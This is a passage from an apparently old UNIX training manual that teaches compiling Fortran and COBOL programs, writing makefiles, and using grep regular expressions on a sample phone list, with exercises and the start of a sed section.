+ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: f77 -S hello.f º +º º +º -S = Compile only º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $f77 -S hello.f ³ +³ $ls -C ³ +³ example.f hello hex.c octal.c ³ +³ hello.c hello.s multiply.c ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The file hello.s contains the assembly listing. +3.6 FORTRAN: Main and Two Subroutines in Three Separate Source +Files + + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat main.f ³ +³ program calling ³ +³ write(6,100) ³ +³ 100 format (' Hello from main!',/) ³ +³ write(6,110) ³ +³ 110 format(' Calling subroutine1!',/) ³ +³ call sub1 ³ +³ write(6,120) ³ +³ 120 format(t15' Back from subroutine1!',/) ³ +³ write(6,130) ³ +³ 130 format(' Calling subroutine2!',/) ³ +³ call sub2 ³ +³ write(6,140) ³ +³ 140 format(t15' Back from subroutine2!',/) ³ +³ write(6,150) ³ +³ 150 format(' That's all, folks!') ³ +³ end ³ +³ $cat sub1.f ³ +³ subroutine sub1 ³ +³ write(6,200) ³ +³ 200 format(t20,' Hello from subroutine1!',/) ³ +³ end ³ +³ $cat sub2.f ³ +³ subroutine sub2 ³ +³ write(6,210) ³ +³ 210 format(t20,' Hello from subroutine2!',/) ³ +³ end ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +3.7 FORTRAN: Compiling But Not Producing an Executable Module + + +Using the above program, the following command will compile but +not produce an executable module. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: f77 -c main.f sub1.f sub2.f º +º º +º -c = Compile, but do not load object files. This option º +º causes f77 to compile and/or assemble source code º +º programs and leave the corresponding object programs º +º in files with filename extensions of .o. º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $f77 -c main.f sub1.f sub2.f ³ +³ main.f: ³ +³ MAIN: calling: ³ +³ sub1.f: ³ +³ sub1: ³ +³ sub2.f: ³ +³ sub2: ³ +³ $ls a.out *.o ³ +³ a.out not found ³ +³ funct1.o ³ +³ funct2.o ³ +³ hello.o ³ +³ main.o ³ +³ sub1.o ³ +³ sub2.o ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The -c options causes the compilation system to suppress the link +edit phase. This produces an object file or files, in this +example (main.o sub1.o sub2.o), that can be link edited at a +later time with the f77 command with no options. +3.8 FORTRAN: Compiling Object Files to Produce an Executable + Module + + +The command to produce an executable nodule from several object +files is done in the following manner: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: f77 obj_1 obj_2 obj_3 º +º º +º obj_1 through obj_n - the object files º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $f77 main.o sub1.o sub2.o ³ +³ $ls -C ³ +³ funct1.o funct2.o hello.o main.o sub1.o sub2.o a.out ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +4. COMPILING COBOL PROGRAMS + +4.1 COBOL: Sample Program with a Main and Two Subroutines + + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat teacher.cob ³ +³ identification division. ³ +³ program-id. teacher. ³ +³ environment division. ³ +³ configuration section. ³ +³ data division. ³ +³ working-storage section. ³ +³ procedure division. ³ +³ begin section. ³ +³ begin-it. ³ +³ display " Hello from main!". ³ +³ display " Calling subroutine1!". ³ +³ perform subroutine1. ³ +³ display " Back from subroutine1!". ³ +³ display " Calling subroutine2!". ³ +³ perform subroutine2. ³ +³ display " Back from subroutine2!". ³ +³ display " That's all, folks!". ³ +³ stop run. ³ +³ subroutine1 section. ³ +³ sub1. ³ +³ display " Hello from subroutine1!". ³ +³ subroutine2 section. ³ +³ sub2. ³ +³ display " Hello from subroutine2!". ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +4.2 COBOL: Compiling a Program + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: cobol source_filename º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Three files are created by the compiler. They are identified by +the same filename as the source code but with a different +extension. They have the extensions .IDY, .INT, and .LST. + +NOTE: These extensions are uppercase characters. UNIX is + case sensitive. + + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cobol teacher.cob ³ +³ $ls teacher* ³ +³ teacher.IDY ³ +³ teacher.INT ³ +³ teacher.LST ³ +³ teacher.cob ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +4.3 COBOL: Running a Program + + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cbrun teacher.INT ³ +³ Hello from Main! ³ +³ Calling subroutine1! ³ +³ Hello from subroutine1! ³ +³ Back from subroutine1! ³ +³ Calling subroutine2! ³ +³ Hello from subroutine2! ³ +³ Back from subroutine2! ³ +³ That's all, folks! ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + NOTES +ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +Workshop 2 through 4 + + +This workshop will reinforce your understanding of the ideas +presented in this chapter. Login using the username and password +given to you by the instructor. Each student is to complete the +entire workshop. + +DESK EXERCISES + + + 1. "C": What is the command to compile, assemble, and load + source code programs? + + + + + + + 2. "C": What is the filename extension that indicates a + source code program? An assembly language program? An + object code file? + + + + + + + 3. "C": What is the default filename assigned to the + executable file? + + + + + + + + 4. "C": What command can be used to rename the executable + file produced by the cc compiler? What are the file + protections associated with the executable? + + + + + + + + 5. "C": What option will produce an assembly listing? What + is the filename extension of this file? + + + Continue on the next page + 6. "C": What command will compile the source code program + but will not load object files but will keep the object + files in files with extensions of .o? + + + + + + 7. FORTRAN: What is the command to invoke the compiler? + + + + + + + + 8. FORTRAN: What is the filename extension for source code + programs? + + + + + + + + 9. FORTRAN: What is the name of the default + executable file? + + + + + + + + 10. FORTRAN: How can you change the permissions on the + executable module so anyone can execute it? + + + + + + + + 11. FORTRAN: What option on the call to the compiler will + allow you to specify the name of the executable file? + + + + + + Continue on the next page + 12. FORTRAN: What option on the call to the compiler will + produce an assembly listing? What is the filename + extension of this file? + + + + + + 13. FORTRAN: What option will produce object modules but + not produce an executable module? + + + + + + + 14. FORTRAN: What command will produce an executable module + from several object modules? + + + + + + + 15. COBOL: What is the command to call the compiler? + + + + + + + + + 16. COBOL: What are the three files created by the + compiler? What are the filename extensions? + + + + + + + + 17. COBOL: Which of the three files that have been created + are used to run the program? + + + + + + + + Continue on the next page +COMPUTER EXERCISES + + + 18. Copy the following files from the directory + teacher: + + main.c funct1.c funct2.c + + + Are these programs "C", FORTRAN, or COBOL? Compile these + three files creating an executable file called main1.exe and + then execute it. What are the file protections? Why? + + + + 19. Now append the three files into one file. + Use output redirection. + + Compile the file creating the executable file called + main2.exe. Execute main2.exe. + + + + + 20. Copy the following files from teacher into your + home directory: + + main.f sub1.f sub2.f + + + Compile these three files creating an executable file + called main1.exe. Execute main1.exe + + + 21. Now append the three files into one file. + + Compile the file creating the executable file called + main2.exe. Execute main2.exe. + + + + + 22. COBOL: Copy teacher.cob from teacher. + + Compile and run. +5. THE make UTILITY + + +The make utility is used to keep a set of executable programs +current. This is based on the modification times of the programs +and the source code that each program is dependent upon. The +utility will look at the dependency lines in a file called +makefile in the current working directory. These dependency +lines indicate relationships between files, specifying a target +file that is dependent on one or more prerequisite files. If you +modified any of the prerequisite files more recently than the +target file, make will update the target file based on +construction commands that follow the dependency lines. + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: make [options] [target_files] º +º º +º See the online man pages for a detailed list of options º +º º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +The target_files refer to targets on dependency lines in the file +called makefile. If you do not specify a target_file, make will +update the first dependency line it finds in makefile. + +The makefile has the following construction: + + target: prerequisite_list + tab construction_commands + +The dependency line is composed of target and the +prerequisite_list, separated by a colon. The +construction_commands must start with a tab character and must +follow the dependency line. + +The target is the name of the file that is dependent on the files +in the prerequisite_list. The construction_commands are shell +commands that construct the target, these are usually compile +commands. + +The make utility will execute the construction_commands when the +modification time of one or more of the files in the +prerequisite_list is more recent than the target. + +Sample makefile: + + payroll: sales.c salary.c + cc sales.c salary.c -o payroll + +In the example, the target is called payroll. It is dependent on +sales.c and salary.c. If the modification time of either of +these is more recent than payroll, the construction_commands will +be executed. In this case, the source code programs are compiled +and stored in payroll. + +In the previous example, to get the update to occur simply type +make. + +Example: + +................................................................. +. $make . +................................................................. + +Since no target was specified, the first dependency line is the +one that make will attempt to execute. + +Each of the prerequisites on one dependency line can be a target +on other dependency lines. This nesting of specifications can +continue, creating a complex hierarchy that can specify a large +system of programs. + + +Sample makefile: + + + form: size.o length.o + cc size.o length.o -o form + size.o: size.c form.h + cc -c size.c + length.o: length.c form.h + cc -c length.c + form.h: num.h table.h + cat num.h table.h > form.h + +Notice that form is dependent on two object files, size.o and +length.o. These two object files are, in turn, dependent upon +their respective source code programs and the header file, +form.h. The header file is dependent upon two other header +files. Note that the construction_commands for form.h can use +any shell command, in this case cat creates the header file. +This makefile can be quite difficult to write, especially if +there are a number of interdependencies. The make utility can +rely upon implied dependencies and construction_commands to make +your job of writing the makefile easier. If you do not include a +dependency line for a file, make assumes that object program +files are dependent on compiler or assembler source code files. +If a prerequisite for a target file is .o and +.o is not a target with its own prerequisites, make +will search for one of the following files in the current working +directory. + + Filename Type of file + + .c C source code + .f FORTRAN source code + .s Assembler source code + +If you do not include a construction_command for one of the files +listed, make will create a default construction_command line that +will call the appropriate compiler or assembler to create the +object file. +grep: A PATTERN MATCHING FILTER + + +The grep utility can search through a file to see if it contains +a specified string of characters. The utility will not change +the file it searches but displays each line that contains the +string. The format for the string is as follows. + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: grep [options] limited_regular-expression [file] º +º º +º Use the man command for a complete list of options º +º º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The grep utility searches files for a pattern and displays all +lines that contain the pattern. It uses limited-regular- +expressions (these are expressions that have string values that +use a subset of all the possible alphanumeric and special +characters) like those used with ed to match the patterns. + +Be careful using the characters $, *, [, ^, |, (, ), and \ in the +regular expression because they will be evaluated by the Shell. +It is good practice to enclose the regular expression in single +quotes. This will prevent the Shell from evaluating these +special characters. + +The grep utility will assume standard input if no files are +given. Normally, each line found in the file will be displayed +to standard output. + +Sample session: + +................................................................. +. $grep 'disc' memo . +................................................................. + +This command will search the file "memo" for the string "disc". +It will include words like discover and indiscreet because they +contain the characters "disc". The single quote marks are not +necessary, and for this example, they wouldn't have made any +difference. They do allow you to include spaces in the search +pattern. +5.0.1 More on Regular Expressions + + +The grep command can be best understood by a discussion of +regular expressions. Let's create a database of phone numbers +called phone.lis and then use regular expressions to search +through the database. Here is as listing of the contents of +phone.lis + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat phone.lis ³ +³ Smith, Joan 7-7989 ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6122 ³ +³ Jones, Ted 1-3745 ³ +³ Stair, Rich 5-5972 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The format for the records in this database is: + + Last name, First name #-#### + +Using the database (phone.lis) above. What grep command would we +use to search through the database and get all the records that +had a person whose name contains an "S". + +An alphabetic character represents itself. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep S phone.lis ³ +³ Smith, Joan 7-7989 ³ +³ StClair, Fred 4-6122 ³ +³ Stair, Rich 5-5972 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +This grep command searched for the string "S" and then listed all +the lines in phone.lis that matched. +A single . (dot) is used to represent any single character. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep .S phone.lis ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +A $ represents the end of the line. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep 5$ phone.lis ³ +³ Jones, Ted 1-3745 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +A ^ represents the beginning of the line + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep ^S phone.lis ³ +³ Smith, Joan 7-7989 ³ +³ StClair, Fred 4-6122 ³ +³ Stair, Rich 5-5972 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Regular expressions must get to grep in order for them to be +evaluated properly. Let's say we want to get the records of +employees that have a phone number that begins with a "4". + +What does the following expression do? + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep 4 phone.lis ³ +³ StClair, Fred 4-6122 ³ +³ Jones, Ted 1-3745 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Why did we get the record of Ted Jones? The tab character was +evaluated by the Shell and so the search was actually made +looking for a "4". This is the same as if we had entered $grep 4 +phone.lis. +We must prevent the Shell from evaluating these characters, this +is done with the \ (backslash) character as shown in the next +example. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep \4 phone.lis ³ +³ StClair, Fred 4-6122 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Now it worked properly. It searched for a character +followed by the number 4. The [] (left and right brackets) are +used to identify a range of characters. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep \[AF] phone.lis ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6122 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Why do [] need to be quoted? In the previous example the search +makes a match on "A" or "F". + +A - (dash) can indicate inclusion. For example, we want to make +a match on a phone number that has a 1, 2, 3, or 4. How can this +be done? Here's an example: + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep \[1-4] phone.lis ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6122 ³ +³ Jones, Ted 1-3745 ³ +³ Stair, Rich 5-5972 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +A ^ character looks for all characters NOT inside the [] +brackets. + +For example, + + [^0-9] matches all non-digits + + [^a-zA-Z] matches all non-alphabetic characters + + NOTE: \, *, and $ lose their metacharacter meanings + inside the []. Also the ^ character is special + only if it appears first. + +What is the following command searching for? + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep '[^789]$' phone.lis ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6122 ³ +³ Jones, Ted 1-3745 ³ +³ Stair, Rich 5-5972 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +5.0.2 Still More Regular Expressions + + +The * (asterisk) represents zero or more of the characters +preceding the asterisk. + + A* represents 0 or more As. + + AA* represents 1 or more As. + + [0-9]*$ 0 or more digits at the end of a line + (last four digits in a phone number) + + .* represents 0 or more of any character. + + +How would you write a grep command using regular expressions to +find the last name starting with an "S" and the first name with +an "F"? + + + ^S Begins with an "S" + + .*,F Any number of characters before ,F + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep ^S.\*,F phone.lis ³ +³ StClair, Fred 4-6122 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +NOTE: The * (asterisk) was quoted so the Shell didn't try to + evaluate it. + +It is very desirable to quote the entire string to keep the Shell +from doing an expansion or substitution. It also increases +readability of the regular expression as in the following +example. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep '^S.*, F' phone.lis ³ +³ StClair, Fred 4-6122 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +5.0.3 Some Nice grep Options + + +The grep provides several options that modify how the search is +performed. + + -c Report count of matching lines only + + -v Print those lines that don't match the pattern. + +What will these lines print? + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep -c '[J-Z]' phone.lis ³ +³ 5 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Why did we get this result? Let's analyze the command. In +English, this command could be interpreted to mean "Tell me how +many records in the file "phone.lis" contain a letter from the +set J through and including Z." Look at the phone.lis file and +see that five records fit this restriction. So the answer is 5. + +Now look at another example and see what this one does. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep -v '[J-Z]' phone.lis ³ +³ Adams,Fran 2-3876 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Why is this the only record that was found? The -v option says +to select records that don't match the pattern. This is the same +pattern as the previous example and therefore it selects records +that don't match the pattern. The "Adams" record is the only one +that doesn't make a match. It doesn't have a character from the +set J through and Z. +5.0.4 Summary of Regular Expression Characters + + + ^ Beginning of the line + + $ End of the line + + * 0 or more preceding characters + + . Any single character + + [...] A range of characters + + [^...] Exclusion range of characters + + + +sed: EDIT A FILE TO STANDARD OUTPUT + + +UNIX provides a method of editing streams of data. It is the sed +utility. The name of this utility is derived from Stream EDitor. +This is not the same as the vi editor. The vi editor edits text +in a file. The sed utility edits text in a stream. In order to +edit a character stream two things are required. First, the line +to edit must be identified (regular expressions) and second, how +to edit the line. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: sed [-n] [-e script] [-f sfile] [files] º +º º +º Details in on-line man pages º 